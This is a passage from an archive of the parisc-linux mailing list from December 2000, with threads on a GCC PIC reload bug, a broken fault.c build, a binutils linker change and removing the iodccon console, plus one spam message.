In-Reply-To: <Pine.LNX.4.21.0012051014060.16721-100000@front.linuxcare.com.au> from "Alan Modra" at Dec 5, 2000 10:59:45 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8764

> Hi Dave,
>   Richard and I had wandered off-topic in the above exchange, and were
> talking about modutils and stubs, in particular stub calls to millicode.
> 
> Getting back on topic, the reload problem _does_ affect 32 bit hppa code.
> Compiling my testcase with -O2 -fPIC -S, gives
> 
>         copy %r19,%r4
>         bl foo,%r2
>         stw %r19,-32(%r30)
>         addil LT'cpu_hz,%r4
>         copy %r1,%r21
>         addil LT'.LC0,%r19		! oops

For some reason, I only saw this with the 64 bit version.

There is one other bit of code in rtlanal.c related to the patch which
bothers me.  I am wondering if it is ok or needs changing:

#ifndef PIC_OFFSET_TABLE_REG_CALL_CLOBBERED
      /* ??? When call-clobbered, the value is stable modulo the restore
         that must happen after a call.  This currently screws up local-alloc
         into believing that the restore is not needed.  */
      if (x == pic_offset_table_rtx)
        return 0;
#endif

This is in rtx_unstable_p and rtx_varies_p.  Possibly, now that there is
a use until reload is complete, this problem is fixed and the
pic_offset_table_rtx should be stable even when
PIC_OFFSET_TABLE_REG_CALL_CLOBBERED?  See comment at beginning of
rtx_varies_p.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fault.c b0rken
Date: Mon, 4 Dec 2000 18:31:21 -0800 (PST)
Lines: 41
Approved: news@gmane.org
Message-ID: <200012050231.SAA04167@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619392 8016 80.91.229.3 (22 Nov 2014 01:23:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:12 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Mon Dec  4 19:29:28 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA13108
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 19:29:28 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id 5A0E6602
	for <parisc-linux@puffin.external.hp.com>; Mon,  4 Dec 2000 21:32:03 -0500 (EST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id SAA04167
	for parisc-linux@puffin.external.hp.com; Mon, 4 Dec 2000 18:31:21 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8765



fault.c: In function `do_page_fault':
fault.c:137: warning: passing arg 3 of `find_vma_prev' from incompatible pointer type
fault.c:181: incompatible types in assignment
make[2]: *** [fault.o] Error 1
make[2]: Leaving directory `/linux/pa32/linux/arch/parisc/mm'

Neither 32- nor 64-bit builds work.
Willy needed to get some sleep...as do I.
Anyone have time to look at this?

thanks,
grant

Recent changes:
revision 1.23
date: 2000/12/05 01:15:11;  author: willy;  state: Exp;  lines: +1 -1

suddenly realised i got the return code of expand_stack the wrong way round.
time for bed said zebedee.
----------------------------
revision 1.22
date: 2000/12/05 01:06:01;  author: willy;  state: Exp;  lines: +9 -26

use the ia64 find_vma_prev (located in mm/mmap.c -- how they got that
one past linus, i'll never know) instead of pa_find_vma.  should speed
up tasks using malloc debuggers by a factor of 100 or more.
----------------------------
revision 1.21
date: 2000/12/04 16:59:22;  author: willy;  state: Exp;  lines: +1 -23

More stack direction fixes.

Take stack_growsup out of arch/parisc/mm/fault.c and put it into
include/linux/mm.h, conditionalised on ARCH_STACK_GROWSUP.  Move the
check for the vma auto-grows flag into the stack_growsup functions.
Check removed from most callers (some have to check something else
between those two checks).



From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Tue, 5 Dec 2000 16:33:29 +1100 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012051609230.16721-100000@front.linuxcare.com.au>
References: <200012050050.TAA07749@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619392 8020 80.91.229.3 (22 Nov 2014 01:23:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:12 +0000 (UTC)
Cc: rhirst@linuxcare.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Mon Dec  4 22:31:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA17181
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 22:31:38 -0700
Original-Received: (qmail 8906 invoked by uid 15267); 5 Dec 2000 05:34:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8879 invoked from network); 5 Dec 2000 05:33:58 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 05:33:58 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA29228;
	Tue, 5 Dec 2000 16:33:29 +1100
In-Reply-To: <200012050050.TAA07749@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8766

On Mon, 4 Dec 2000, John David Anglin wrote:

> > Getting back on topic, the reload problem _does_ affect 32 bit hppa code.
> > Compiling my testcase with -O2 -fPIC -S, gives
> > 
> >         copy %r19,%r4
> >         bl foo,%r2
> >         stw %r19,-32(%r30)
> >         addil LT'cpu_hz,%r4
> >         copy %r1,%r21
> >         addil LT'.LC0,%r19		! oops
> 
> For some reason, I only saw this with the 64 bit version.

Probably because it only appears with -fpic (or -fPIC), which you get for
free on pa64

> There is one other bit of code in rtlanal.c related to the patch which
> bothers me.  I am wondering if it is ok or needs changing:
> 
> #ifndef PIC_OFFSET_TABLE_REG_CALL_CLOBBERED
>       /* ??? When call-clobbered, the value is stable modulo the restore
>          that must happen after a call.  This currently screws up local-alloc
>          into believing that the restore is not needed.  */
>       if (x == pic_offset_table_rtx)
>         return 0;
> #endif
> 
> This is in rtx_unstable_p and rtx_varies_p.  Possibly, now that there is
> a use until reload is complete, this problem is fixed and the
> pic_offset_table_rtx should be stable even when
> PIC_OFFSET_TABLE_REG_CALL_CLOBBERED?  See comment at beginning of
> rtx_varies_p.

Likely so.  With rth's latest patch to calculate_global_regs_live, it's
possibile that I can remove some of the ARG_POINTER_INVARIANT patch too.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fault.c b0rken
Date: Tue, 5 Dec 2000 17:15:53 +1100 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012051714420.16721-100000@front.linuxcare.com.au>
References: <200012050231.SAA04167@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619392 8024 80.91.229.3 (22 Nov 2014 01:23:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:12 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Mon Dec  4 23:18:30 2000
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA19906
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 23:18:27 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA30545;
	Tue, 5 Dec 2000 17:15:53 +1100
In-Reply-To: <200012050231.SAA04167@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8767

On Mon, 4 Dec 2000, Grant Grundler wrote:

> fault.c: In function `do_page_fault':
> fault.c:137: warning: passing arg 3 of `find_vma_prev' from incompatible pointer type
> fault.c:181: incompatible types in assignment
> make[2]: *** [fault.o] Error 1
> make[2]: Leaving directory `/linux/pa32/linux/arch/parisc/mm'

I've added the missing `*'

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodccon
Date: Tue, 5 Dec 2000 09:54:30 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20001205095430.K12414@parcelfarce.linux.theplanet.co.uk>
References: <20001202210926.E8288@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619393 8027 80.91.229.3 (22 Nov 2014 01:23:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: willy@www.linux.org.uk  Tue Dec  5 02:51:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA22812
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 02:51:58 -0700
Original-Received: (qmail 20084 invoked by uid 15267); 5 Dec 2000 09:54:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20075 invoked from network); 5 Dec 2000 09:54:31 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 09:54:31 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 143Enu-0003AS-00; Tue, 05 Dec 2000 09:54:30 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001202210926.E8288@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sat, Dec 02, 2000 at 09:09:26PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8768

On Sat, Dec 02, 2000 at 09:09:26PM +0000, Matthew Wilcox wrote:
> 
> can we kill off iodccon now?  i seem to remember being told we could, but
> i can't find confirmation of that in my inbox.

ok, if no-one replies within the next week telling me we need it, i shall
strangle iodccon with my bare hands.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linker magic
Date: Tue, 5 Dec 2000 21:53:35 +1100 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012052124480.16721-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619393 8030 80.91.229.3 (22 Nov 2014 01:23:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Tue Dec  5 03:56:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA23984
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 03:56:30 -0700
Original-Received: (qmail 17510 invoked by uid 15267); 5 Dec 2000 10:59:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10355 invoked from network); 5 Dec 2000 10:53:40 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 10:53:40 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA04475
	for <parisc-linux@thepuffingroup.com>; Tue, 5 Dec 2000 21:53:35 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8769

I've just committed a binutils change that should mean we can build glibc
(and other large shared libs) that happen to use a "ld -r" link stage
without needing to resort to gcc -ffunction-sections.  Previously, a
"ld -r" would combine all input .text sections into one output section,
which, if the library was large enough, would mean that branches couldn't
reach their long-branch or import stubs.  Now the linker will refuse to
combine .text during a "ld -r".  This is done without altering the default
linker scripts, so should be effective even with packages that provide
their own linker scripts.

At the moment, there's no way to turn it off...  Let me know how it goes.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy <dkennedy@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodccon
Date: Tue, 5 Dec 2000 10:10:48 -0800 (PST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012051003180.1127-100000@localhost.localdomain>
References: <20001205095430.K12414@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619393 8035 80.91.229.3 (22 Nov 2014 01:23:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dkennedy@linuxcare.com  Tue Dec  5 07:08:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA26889
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 07:08:16 -0700
Original-Received: (qmail 14005 invoked by uid 15267); 5 Dec 2000 14:10:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13969 invoked from network); 5 Dec 2000 14:10:45 -0000
Original-Received: from hse-ottawa-ppp236862.sympatico.ca (HELO localhost.linuxcare.com) (@64.230.74.185)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 14:10:45 -0000
Original-Received: by localhost.linuxcare.com (Postfix, from userid 501)
	id 116DF149; Tue,  5 Dec 2000 10:10:48 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost.linuxcare.com (Postfix) with ESMTP id D0DDAAB76
	for <parisc-linux@thepuffingroup.com>; Tue,  5 Dec 2000 10:10:48 -0800 (PST)
X-Sender: dkennedy@localhost.localdomain
In-Reply-To: <20001205095430.K12414@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8770

On Tue, 5 Dec 2000, Matthew Wilcox wrote:

> On Sat, Dec 02, 2000 at 09:09:26PM +0000, Matthew Wilcox wrote:
> > 
> > can we kill off iodccon now?  i seem to remember being told we could, but
> > i can't find confirmation of that in my inbox.
> 
> ok, if no-one replies within the next week telling me we need it, i shall
> strangle iodccon with my bare hands.

*jump* I'm just going to jump into this one.  

I was under the impression that the first console we ever got up and running 
was iodccon.  This is due to the hardware independant mechanism for accessing 
the console, correct?  

If so, why don't we keep it around for the people who want to use specific 
hardware for the console that we currently don't have a Linux device driver 
for: New machines that don't have Linux yet, other esoteric hardware that 
someone, somewhere will eventually want to port Linux to (all the machines 
that will _never_ be supported due to lack of hardware).

On a not so related note, do we have a mechanism of determing what the current
console is from IODC and enabling the appropriate console in Linux?  To fix the
common problem of: My machines dies after this message "iodccon dies!!"

-- 
David Kennedy, Technical Account Manager, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare.  Support for the revolution.



From - Thu Nov 08 21:14:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: Thu, 6 May 1999 01:22:24 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990506012143.25834A-100000@devserv.devel.redhat.com>
References: <19990506052437.44410@insula.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619394 8040 80.91.229.3 (22 Nov 2014 01:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Original-X-From: adevries@redhat.com  Thu Apr 29 21:38:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA23019
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Apr 1999 21:38:56 -0600
Original-Received: (qmail 13337 invoked by uid 15267); 6 May 1999 05:20:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13330 invoked from network); 6 May 1999 05:20:29 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 05:20:29 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id BAA06575;
	Thu, 6 May 1999 01:22:24 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <19990506052437.44410@insula.local>
Xref: news.gmane.org gmane.linux.ports.parisc:8771


On Thu, 6 May 1999, Philipp Rumpf wrote:

> There is now an ugly workaround in the CVS tree that allows us to
> use 0x8000 as kernel entry point.

So if I understand it correctly, we should be able to fix the bootloader
to jump to 0x8000 and actually load the kernel.

Chris, how far off that are we?

- Alex


From - Thu Nov 08 21:14:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Commish@CurrentFights.com (Jan C Booker)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] are YOU a boxing fan?
Date: Tue,  5 Dec 2000 06:54:51 -0800
Lines: 2
Approved: news@gmane.org
Message-ID: <19179.7228334055$1416619394@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619394 8045 80.91.229.3 (22 Nov 2014 01:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Commish@CurrentFights.com  Tue Dec  5 07:51:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA27810
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 07:51:42 -0700
Original-Received: (qmail 8878 invoked by uid 15267); 5 Dec 2000 14:54:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8843 invoked from network); 5 Dec 2000 14:54:16 -0000
Original-Received: from w034.z208036152.sjc-ca.dsl.cnc.net (HELO server01.concentric.net) (208.36.152.34)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 14:54:16 -0000
Original-Received: from [208.36.152.34] ([207.171.201.2]) by server01.concentric.net
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id net for <parisc-linux@thepuffingroup.com>;
          Tue, 5 Dec 2000 06:49:25 -0800
X-Mailer: 208.36.152.34
Xref: news.gmane.org gmane.linux.ports.parisc:8772

then you NEED to check out www.CurrentFights.com         a web site FULL of Streaming Videos and audio's of the TOP Fights and Fighters of today ....  SEE IT NOW !!!


From - Thu Nov 08 21:14:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binary compatibility
Date: Tue, 5 Dec 2000 19:30:57 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20001205193057.C12682@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619394 8048 80.91.229.3 (22 Nov 2014 01:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Tue Dec  5 12:28:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA30399
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 12:28:24 -0700
Original-Received: (qmail 3765 invoked by uid 15267); 5 Dec 2000 19:31:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3735 invoked from network); 5 Dec 2000 19:30:59 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 19:30:59 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 143Nnl-0004KZ-00
	for parisc-linux@thepuffingroup.com; Tue, 05 Dec 2000 19:30:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8773


how much do people care if i break binary compatibility again?  i want
to fix the stack properly, and this will require a new crt0.o.  ok,
it means replacing all the current binaries, but most of them are
crossbuilt anyway.

i suppose the pain of this would be mitigated if there were other changes
to the abi that people wanted to make and we could make them all at the
same time.

ideas?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Tue, 5 Dec 2000 14:42:50 -0500 (EST)
Lines: 50
Approved: news@gmane.org
Message-ID: <200012051942.OAA24760@hiauly1.hia.nrc.ca>
References: <200012022328.SAA04574@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619395 8054 80.91.229.3 (22 Nov 2014 01:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:15 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Dec  5 12:40:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA31057
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Dec 2000 12:40:28 -0700
Original-Received: (qmail 25648 invoked by uid 15267); 5 Dec 2000 19:43:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25627 invoked from network); 5 Dec 2000 19:43:03 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 19:43:03 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA24760;
	Tue, 5 Dec 2000 14:42:50 -0500 (EST)
In-Reply-To: <200012022328.SAA04574@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 2, 2000 06:28:16 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8774

> I reverted the pic patch that I was testing and still get the same build
> failure when building with "-g -O3 -fPIC".
...
> stage1/xgcc -Bstage1/ -B/usr/local/hppa1.1-hp-hpux10.20/bin/ -c  -DIN_GCC    -g -O3 -fPIC -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. -I. -I../../gcc -I../../gcc/. -I../../gcc/config -I../../gcc/../include ../../gcc/c-typeck.c -o c-typeck.o
> ../../gcc/c-typeck.c: In function `really_start_incremental_init':
> ../../gcc/c-typeck.c:5180: output_operand: invalid expression as operand
> ../../gcc/c-typeck.c:5180: Internal compiler error in output_operand_lossage, at final.c:3397
> confused by earlier errors, bailing out

This error results from the following substitution which occurs in the
"lreg" pass.  Here is the "lreg" rtl:

(insn 67 926 927 (set (reg/f:SI 107)
        (mem/u:SI (lo_sum:SI (reg/f:SI 309)
                (unspec:SI[
                        (symbol_ref:SI ("constructor_max_index"))
		    ]  0)) 0)) 82 {*pa.md:2352} (insn_list 65 (nil))
    (expr_list:REG_EQUIV (mem/u:SI (lo_sum:SI (reg/f:SI 309)
		(unspec:SI[
			(symbol_ref:SI ("constructor_max_index"))
		    ]  0)) 0)
        (expr_list:REG_DEAD (reg/f:SI 309)
            (nil))))

...

(insn 569 619 627 (set (reg/f:SI 232)
        (reg/f:SI 107)) 69 {*pa.md:2099} (nil)
    (expr_list:REG_DEAD (reg/f:SI 107)
        (nil)))

Then, after the "greg" pass we get for insn 569:

(insn 569 619 627 (set (reg/f:SI 21 %r21)
        (mem/u:SI (lo_sum:SI (reg/f:SI 8 %r8)
		(unspec:SI[
			(symbol_ref:SI ("constructor_max_index"))
		    ]  0)) 0)) 69 {*pa.md:2099} (nil)
    (nil))

The "mem" apparently satisfies the RQ constraint for the "ldw%M1 %1,%0"
code of the insn {*pa.md:2099} but this operand can't be printed printed.
Thus, either we need to improve the printing of pic symbol references or
disallow MEMs of this type in the Q constraint.  Any thoughts on this?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <danne@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Recent CVS kernel: boot failure on 715/50 & inb() undefined
Date: Tue, 5 Dec 2000 23:18:24 +0100 (CET)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012052307320.8673-100000@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619395 8057 80.91.229.3 (22 Nov 2014 01:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:15 +0000 (UTC)
Cc: 5116@telia.com
To: parisc-linux@thepuffingroup.com
Original-X-From: danne@telia.com  Tue Dec  5 15:16:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
